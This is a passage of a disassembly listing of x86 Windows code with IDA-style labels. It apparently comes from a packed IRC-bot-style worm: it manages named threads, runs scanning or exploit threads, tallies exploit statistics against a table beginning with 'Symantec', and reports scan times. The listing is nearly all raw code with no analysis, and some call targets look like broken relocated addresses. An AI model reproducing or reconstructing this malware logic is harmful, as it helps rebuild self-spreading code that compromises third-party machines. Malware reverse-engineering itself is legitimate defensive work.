loc_40B28A push eax call sub_4199C9 pop ecx loc_40B28A: ; CODE XREF: sub_40B231+50j mov [edi], ebx lea edi, dword_43DEEC[esi] mov byte ptr dword_43DCE0[esi], bl mov byte_43DEF8[esi], bl push dword ptr [edi] call dword_4CB03C lea esi, dword_43DEF0[esi] mov [edi], ebx push dword ptr [esi] call dword_4CB03C mov [esi], ebx pop edi loc_40B2B9: ; CODE XREF: sub_40B231+Dj ; sub_40B231+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B231 endp ; =============== S U B R O U T I N E ======================================= sub_40B2BF proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43DCE0 loc_40B2CB: ; CODE XREF: sub_40B2BF+2Aj cmp byte ptr [esi], 0 jz short loc_40B2DC push edi call sub_40B231 test eax, eax pop ecx jz short loc_40B2DC inc ebx loc_40B2DC: ; CODE XREF: sub_40B2BF+Fj ; sub_40B2BF+1Aj add esi, 234h inc edi cmp esi, offset dword_4CACE0 jl short loc_40B2CB pop edi mov eax, ebx pop esi pop ebx retn sub_40B2BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2F1 proc near ; CODE XREF: sub_401ACD+418Ep ; sub_401ACD+42E0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43DEE4 loc_40B305: ; CODE XREF: sub_40B2F1+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B327 test edi, edi jle short loc_40B319 cmp [esi], edi jz short loc_40B319 cmp ebx, edi jnz short loc_40B327 loc_40B319: ; CODE XREF: sub_40B2F1+1Ej ; sub_40B2F1+22j push ebx call sub_40B231 test eax, eax pop ecx jz short loc_40B327 loc_40B324: ; DATA XREF: Themida_:0055CB84o inc [ebp+var_4] loc_40B327: ; CODE XREF: sub_40B2F1+1Aj ; sub_40B2F1+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CAEE4 jl short loc_40B305 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B2F1 endp ; =============== S U B R O U T I N E ======================================= sub_40B33E proc near ; CODE XREF: ___:00401630p ; sub_401ACD+97Ap ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43DEE0 loc_40B345: ; CODE XREF: sub_40B33E+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B34E inc eax loc_40B34E: ; CODE XREF: sub_40B33E+Dj add ecx, 234h cmp ecx, offset dword_4CAEE0 jl short loc_40B345 retn sub_40B33E endp ; =============== S U B R O U T I N E ======================================= sub_40B35D proc near ; CODE XREF: sub_401ACD+2433p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43DEE0 loc_40B367: ; CODE XREF: sub_40B35D+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B380 add ecx, 234h inc edx cmp ecx, offset dword_4CAEE0 jl short loc_40B367 pop esi retn ; --------------------------------------------------------------------------- loc_40B380: ; CODE XREF: sub_40B35D+10j mov eax, edx pop esi retn sub_40B35D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B384 proc near ; CODE XREF: sub_401ACD+1066p ; sub_401ACD+126Cp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B39D push [ebp+arg_1C] call sub_41B779 pop ecx loc_40B39D: ; CODE XREF: sub_40B384+Ej push eax push [ebp+arg_18] call sub_40B2F1 pop ecx test eax, eax pop ecx jle short loc_40B3C9 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41B886 add esp, 14h jmp short loc_40B3E3 ; --------------------------------------------------------------------------- loc_40B3C9: ; CODE XREF: sub_40B384+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41B886 add esp, 10h loc_40B3E3: ; CODE XREF: sub_40B384+43j cmp [ebp+arg_C], 0 jnz short loc_40B403 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40B403: ; CODE XREF: sub_40B384+63j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx leave retn sub_40B384 endp ; =============== S U B R O U T I N E ======================================= sub_40B412 proc near ; CODE XREF: sub_4017ED+159p ; ___:0040BA47p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43DEF4[eax], ecx mov dword_43DEE0[eax], ecx mov dword_43DEE4[eax], ecx mov dword_43DEE8[eax], ecx mov dword_43DEEC[eax], ecx mov dword_43DEF0[eax], ecx mov byte ptr dword_43DCE0[eax], cl mov byte_43DEF8[eax], cl retn sub_40B412 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B44F proc near ; CODE XREF: sub_401ACD+7E3Bp ; sub_40B57D+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B459: ; CODE XREF: sub_40B44F+68j mov cl, [esi] test cl, cl jz short loc_40B4B9 cmp eax, 1 jnz short loc_40B4B9 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B4B9 cmp cl, 2Ah jz short loc_40B4A0 cmp cl, 3Fh jz short loc_40B483 cmp cl, 5Bh jz short loc_40B488 xor eax, eax cmp cl, dl setz al loc_40B483: ; CODE XREF: sub_40B44F+26j inc [ebp+arg_4] jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B488: ; CODE XREF: sub_40B44F+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B4E5 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B4A0: ; CODE XREF: sub_40B44F+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B57D mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B4B3: ; CODE XREF: sub_40B44F+37j ; sub_40B44F+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B459 ; --------------------------------------------------------------------------- loc_40B4B9: ; CODE XREF: sub_40B44F+Ej ; sub_40B44F+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B4C9 cmp eax, 1 jnz short loc_40B4E0 inc esi mov [ebp+arg_0], esi jmp short loc_40B4B9 ; --------------------------------------------------------------------------- loc_40B4C9: ; CODE XREF: sub_40B44F+6Dj cmp eax, 1 jnz short loc_40B4E0 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B4E0 cmp byte ptr [esi], 0 jnz short loc_40B4E0 push 1 pop eax jmp short loc_40B4E2 ; --------------------------------------------------------------------------- loc_40B4E0: ; CODE XREF: sub_40B44F+72j ; sub_40B44F+7Dj ... xor eax, eax loc_40B4E2: ; CODE XREF: sub_40B44F+8Fj pop esi pop ebp retn sub_40B44F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4E5 proc near ; CODE XREF: sub_40B44F+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B506 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B506: ; CODE XREF: sub_40B4E5+19j push ebx push esi loc_40B508: ; CODE XREF: sub_40B4E5+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B516 cmp [ebp+var_4], eax jnz short loc_40B562 loc_40B516: ; CODE XREF: sub_40B4E5+2Aj test edi, edi jnz short loc_40B557 cmp bl, 2Dh jnz short loc_40B54B mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B54B cmp al, 5Dh jz short loc_40B54B cmp [ebp+var_4], edi jnz short loc_40B54B mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B557 cmp bl, al jg short loc_40B557 push 1 mov [edx], esi pop edi jmp short loc_40B557 ; --------------------------------------------------------------------------- loc_40B54B: ; CODE XREF: sub_40B4E5+38j ; sub_40B4E5+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B557 push 1 pop edi loc_40B557: ; CODE XREF: sub_40B4E5+33j ; sub_40B4E5+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B508 ; --------------------------------------------------------------------------- loc_40B562: ; CODE XREF: sub_40B4E5+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B56F mov ecx, eax sub ecx, edi mov edi, ecx loc_40B56F: ; CODE XREF: sub_40B4E5+82j cmp edi, eax jnz short loc_40B578 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B578: ; CODE XREF: sub_40B4E5+8Cj mov eax, edi pop edi leave retn sub_40B4E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B57D proc near ; CODE XREF: sub_40B44F+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B599: ; CODE XREF: sub_40B57D+3Aj cmp [eax], bl jz short loc_40B5B9 mov cl, [ecx] cmp cl, 3Fh jz short loc_40B5AE cmp cl, 2Ah jnz short loc_40B5B9 cmp cl, 3Fh jnz short loc_40B5B1 loc_40B5AE: ; CODE XREF: sub_40B57D+25j inc eax mov [edi], eax loc_40B5B1: ; CODE XREF: sub_40B57D+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B599 ; --------------------------------------------------------------------------- loc_40B5B9: ; CODE XREF: sub_40B57D+1Ej ; sub_40B57D+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B5C4 inc dword ptr [esi] jmp short loc_40B5B9 ; --------------------------------------------------------------------------- loc_40B5C4: ; CODE XREF: sub_40B57D+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B5E5 mov edx, [esi] cmp [edx], bl jz short loc_40B5D6 xor eax, eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5D6: ; CODE XREF: sub_40B57D+53j cmp cl, bl jnz short loc_40B5E5 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B5E5 push 1 pop eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5E5: ; CODE XREF: sub_40B57D+4Dj ; sub_40B57D+5Bj ... push eax push dword ptr [esi] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_40B62F loc_40B5F3: ; CODE XREF: sub_40B57D+B0j inc dword ptr [edi] mov eax, [edi] loc_40B5F7: ; CODE XREF: sub_40B57D+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B60F cmp cl, 5Bh jz short loc_40B60F cmp dl, bl jz short loc_40B60F inc eax mov [edi], eax jmp short loc_40B5F7 ; --------------------------------------------------------------------------- loc_40B60F: ; CODE XREF: sub_40B57D+82j ; sub_40B57D+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B626 push eax push dword ptr [esi] call sub_40B44F neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B62B ; --------------------------------------------------------------------------- loc_40B626: ; CODE XREF: sub_40B57D+96j mov [ebp+var_4], ebx xor eax, eax loc_40B62B: ; CODE XREF: sub_40B57D+A7j cmp eax, ebx jnz short loc_40B5F3 loc_40B62F: ; CODE XREF: sub_40B57D+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B642 mov eax, [esi] cmp [eax], bl jnz short loc_40B642 mov [ebp+var_4], 1 loc_40B642: ; CODE XREF: sub_40B57D+B6j ; sub_40B57D+BCj mov eax, [ebp+var_4] loc_40B645: ; CODE XREF: sub_40B57D+57j ; sub_40B57D+66j pop edi pop esi pop ebx leave retn sub_40B57D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B64A proc near ; CODE XREF: sub_401ACD+2AF5p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_4317DC push eax xor ebx, ebx call sub_41B886 cmp dword_431440, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B6BC push esi mov esi, offset dword_431448 loc_40B67D: ; CODE XREF: sub_40B64A+6Fj mov eax, [esi] test eax, eax jbe short loc_40B6B2 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_4317D0 push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 add esp, 1Ch loc_40B6B2: ; CODE XREF: sub_40B64A+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B67D pop esi loc_40B6BC: ; CODE XREF: sub_40B64A+2Bj push dword_4CACE4 call sub_41A88B pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 34h pop edi pop ebx leave retn sub_40B64A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B719 proc near ; CODE XREF: sub_401ACD+2ADFp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CDAB0 mov ecx, dword_4CDAAC push esi push dword_4CACE4 lea esi, [ecx+eax] call sub_41A88B pop ecx push eax push esi push dword_4CDAB0 lea eax, [ebp+var_200] push dword_4CDAAC push offset unk_4317FC push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 30h pop esi leave retn sub_40B719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B785 proc near ; CODE XREF: sub_401ACD+2AC9p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CACE4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_200] push dword_4CDCF4 push offset unk_431844 push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 28h leave retn sub_40B785 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7DA proc near ; CODE XREF: sub_401ACD+2AB3p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push edi lea eax, [ebp+var_800] push offset dword_431890 push eax call sub_41B886 cmp dword_431440, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B846 push esi mov esi, offset aSymantec ; "Symantec" loc_40B80F: ; CODE XREF: sub_40B7DA+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431880 push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B80F pop esi loc_40B846: ; CODE XREF: sub_40B7DA+2Dj push dword_4CACE4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_800] push eax call sub_4151AC add esp, 30h pop edi leave retn sub_40B7DA endp ; --------------------------------------------------------------------------- byte_40B8A1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+30E0o ; --------------------------------------------------------------------------- sub esp, 3F0h mov eax, [ebp+8] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp-134h] push eax call dword_4CAFE4 xor edi, edi mov [ebp-8], eax cmp dword_431440, edi mov [ebp-4], edi mov [ebp+8], edi jz loc_40BA03 mov ebx, offset dword_431440 mov eax, ebx loc_40B8F2: ; CODE XREF: ___:0040B9FDj push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C087 add esp, 0Ch cmp eax, 1 jnz loc_40B9F3 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_4318E0 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC add esp, 2Ch lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41B886 pop ecx lea eax, [ebp-15Ch] pop ecx push esi push eax call sub_41B886 cmp byte ptr [ebp-0A4h], 0 pop ecx pop ecx lea eax, [ebp-0A4h] jnz short loc_40B98E lea eax, [ebp-124h] loc_40B98E: ; CODE XREF: ___:0040B986j push eax lea eax, [ebp-1DCh] push eax call sub_41B886 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40B9F3: ; CODE XREF: ___:0040B905j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40B8F2 loc_40BA03: ; CODE XREF: ___:0040B8E5j push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_4318AC push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 add esp, 2Ch push edi ; --------------------------------------------------------------------------- dd 2C45ABE8h db 2, 90h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA56 proc near ; CODE XREF: sub_401ACD+244Ep var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B33E test eax, eax pop ecx jle short loc_40BA92 mov eax, [ebp+arg_C] push dword_4CB0F0[eax*8] call dword_4CB030 push eax lea eax, [ebp+var_200] push offset unk_431930 push eax call sub_41B886 add esp, 0Ch jmp short loc_40BAA5 ; --------------------------------------------------------------------------- loc_40BA92: ; CODE XREF: sub_40BA56+13j lea eax, [ebp+var_200] push offset unk_431910 push eax call sub_41B886 pop ecx pop ecx loc_40BAA5: ; CODE XREF: sub_40BA56+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 18h leave retn sub_40BA56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BACD proc near ; CODE XREF: sub_40C124+267p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40BF9F shl eax, 6 xor ebx, ebx cmp dword_43144C[eax], ebx jz loc_40BF9F push 5 call sub_40B33E test eax, eax pop ecx jnz loc_40BD54 mov eax, dword_429078 push edi mov esi, offset dword_4CD1AC push 104h push esi push ebx mov dword_4CD3BC, eax mov dword_4CD3B8, ebx nop call near ptr 2660000h mov edi, offset byte_429108 push 103h push edi push offset dword_4CD2B0 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD1A8, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CD440, eax jnz short loc_40BB80 lea eax, [ebp+arg_10] push eax push offset dword_4CD3C0 call sub_41B5F0 add esp, 0Ch mov dword_4CD444, 1 jmp short loc_40BB9A ; --------------------------------------------------------------------------- loc_40BB80: ; CODE XREF: sub_40BACD+94j lea eax, [ebp+arg_90] push eax push offset dword_4CD3C0 call sub_41B5F0 add esp, 0Ch mov dword_4CD444, ebx loc_40BB9A: ; CODE XREF: sub_40BACD+B1j push esi lea eax, [ebp+var_204] push dword_4CD3BC push offset unk_42BE90 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD3B4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD1A8 push offset word_411796 push ebx push ebx nop call near ptr 267009Ch mov ecx, dword_4CD3B4 imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40BC08 loc_40BBF6: ; CODE XREF: sub_40BACD+139j cmp dword_4CD448, ebx jnz short loc_40BC23 push 32h nop call near ptr 2670000h jmp short loc_40BBF6 ; --------------------------------------------------------------------------- loc_40BC08: ; CODE XREF: sub_40BACD+127j nop call near ptr 2670914h push eax lea eax, [ebp+var_204] push offset unk_431A50 push eax call sub_41B886 add esp, 0Ch loc_40BC23: ; CODE XREF: sub_40BACD+12Fj lea eax, [ebp+var_204] push eax call sub_4151AC mov eax, dword_4CACE0 mov esi, offset dword_4CD454 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CD664, eax mov dword_4CD660, ebx nop call near ptr 2660000h push 103h push edi push offset dword_4CD558 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD450, eax mov eax, [ebp+arg_138] pop edi mov dword_4CD6E8, eax push 7Fh jnz short loc_40BCA4 lea eax, [ebp+arg_10] push eax push offset dword_4CD668 call sub_41B5F0 add esp, 0Ch mov dword_4CD6EC, 1 jmp short loc_40BCBE ; --------------------------------------------------------------------------- loc_40BCA4: ; CODE XREF: sub_40BACD+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CD668 call sub_41B5F0 add esp, 0Ch mov dword_4CD6EC, ebx loc_40BCBE: ; CODE XREF: sub_40BACD+1D5j push esi lea eax, [ebp+var_204] push dword_4CD664 push offset unk_431A1C push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD65C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD450 push offset byte_40E991 push ebx push ebx nop call near ptr 267009Ch mov ecx, dword_4CD65C imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40BD2C loc_40BD1A: ; CODE XREF: sub_40BACD+25Dj cmp dword_4CD6F0, ebx jnz short loc_40BD47 push 32h call near ptr 2670000h nop jmp short loc_40BD1A ; --------------------------------------------------------------------------- loc_40BD2C: ; CODE XREF: sub_40BACD+24Bj nop call near ptr 2670914h push eax lea eax, [ebp+var_204] push offset unk_4319E8 push eax call sub_41B886 add esp, 0Ch loc_40BD47: ; CODE XREF: sub_40BACD+253j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BD54: ; CODE XREF: sub_40BACD+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_431454[ecx], ebx jz loc_40BE7D push 7 call sub_40B33E test eax, eax pop ecx jnz loc_40BE77 mov eax, dword_4CDCEC cmp [ebp+arg_90], bl mov dword_4CD114, eax mov eax, [ebp+arg_110] mov dword_4CD108, eax mov eax, [ebp+arg_138] mov dword_4CD110, ebx mov dword_4CD198, eax push 7Fh jnz short loc_40BDC8 lea eax, [ebp+arg_10] push eax push offset dword_4CD118 call sub_41B5F0 add esp, 0Ch mov dword_4CD19C, 1 jmp short loc_40BDE2 ; --------------------------------------------------------------------------- loc_40BDC8: ; CODE XREF: sub_40BACD+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CD118 call sub_41B5F0 add esp, 0Ch mov dword_4CD19C, ebx loc_40BDE2: ; CODE XREF: sub_40BACD+2F9j push dword_4CD114 lea eax, [ebp+var_204] push offset unk_4319B8 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B0F6 add esp, 18h mov dword_4CD10C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD108 push offset byte_40E6EF push ebx push ebx nop call near ptr 267009Ch mov ecx, dword_4CD10C imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40BE4F loc_40BE3D: ; CODE XREF: sub_40BACD+380j cmp dword_4CD1A0, ebx jnz short loc_40BE6A push 32h nop call near ptr 2670000h jmp short loc_40BE3D ; --------------------------------------------------------------------------- loc_40BE4F: ; CODE XREF: sub_40BACD+36Ej nop call near ptr 2670914h push eax lea eax, [ebp+var_204] push offset unk_431980 push eax call sub_41B886 add esp, 0Ch loc_40BE6A: ; CODE XREF: sub_40BACD+376j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BE77: ; CODE XREF: sub_40BACD+2A8j mov eax, [ebp+arg_130] loc_40BE7D: ; CODE XREF: sub_40BACD+298j shl eax, 6 cmp dword_431450[eax], ebx jz loc_40BF9F push 3 call sub_40B33E test eax, eax pop ecx jnz loc_40BF9F mov esi, offset dword_4CD984 push 104h push esi push ebx call near ptr 2660000h nop push 5Ch push esi call sub_41BE40 pop ecx cmp eax, ebx pop ecx jz short loc_40BEBE mov [eax], bl loc_40BEBE: ; CODE XREF: sub_40BACD+3EDj mov eax, dword_42907C mov dword_4CDA9C, ebx mov dword_4CDA88, eax lea eax, [ebp+arg_10] push eax push offset dword_4CD6FC call sub_41B886 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CD6F8, eax mov ecx, [ebp+arg_138] push esi push dword_4CDA88 mov dword_4CDA94, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CDA98, ecx call sub_40AC0F pop ecx push eax lea eax, [ebp+var_204] push offset unk_42BE18 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B0F6 add esp, 20h mov dword_4CDA90, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD6F8 push offset sub_40F0D5 push ebx push ebx call near ptr 267009Ch nop mov ecx, dword_4CDA90 imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40BF77 loc_40BF65: ; CODE XREF: sub_40BACD+4A8j cmp dword_4CDAA4, ebx jnz short loc_40BF92 push 32h nop call near ptr 2670000h jmp short loc_40BF65 ; --------------------------------------------------------------------------- loc_40BF77: ; CODE XREF: sub_40BACD+496j nop call near ptr 2670914h push eax lea eax, [ebp+var_204] push offset unk_43194C push eax call sub_41B886 add esp, 0Ch loc_40BF92: ; CODE XREF: sub_40BACD+49Ej lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BF9F: ; CODE XREF: sub_40BACD+14j ; sub_40BACD+25j ... pop esi pop ebx leave retn sub_40BACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFA3 proc near ; CODE XREF: sub_40C124:loc_40C195p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CB0F0h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41C310 add esp, 0Ch push [ebp+arg_0] call dword_4CAECC inc eax push eax mov [ebp+arg_0], eax call dword_4CAFA0 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41C310 mov eax, [esi] add esp, 0Ch pop esi pop 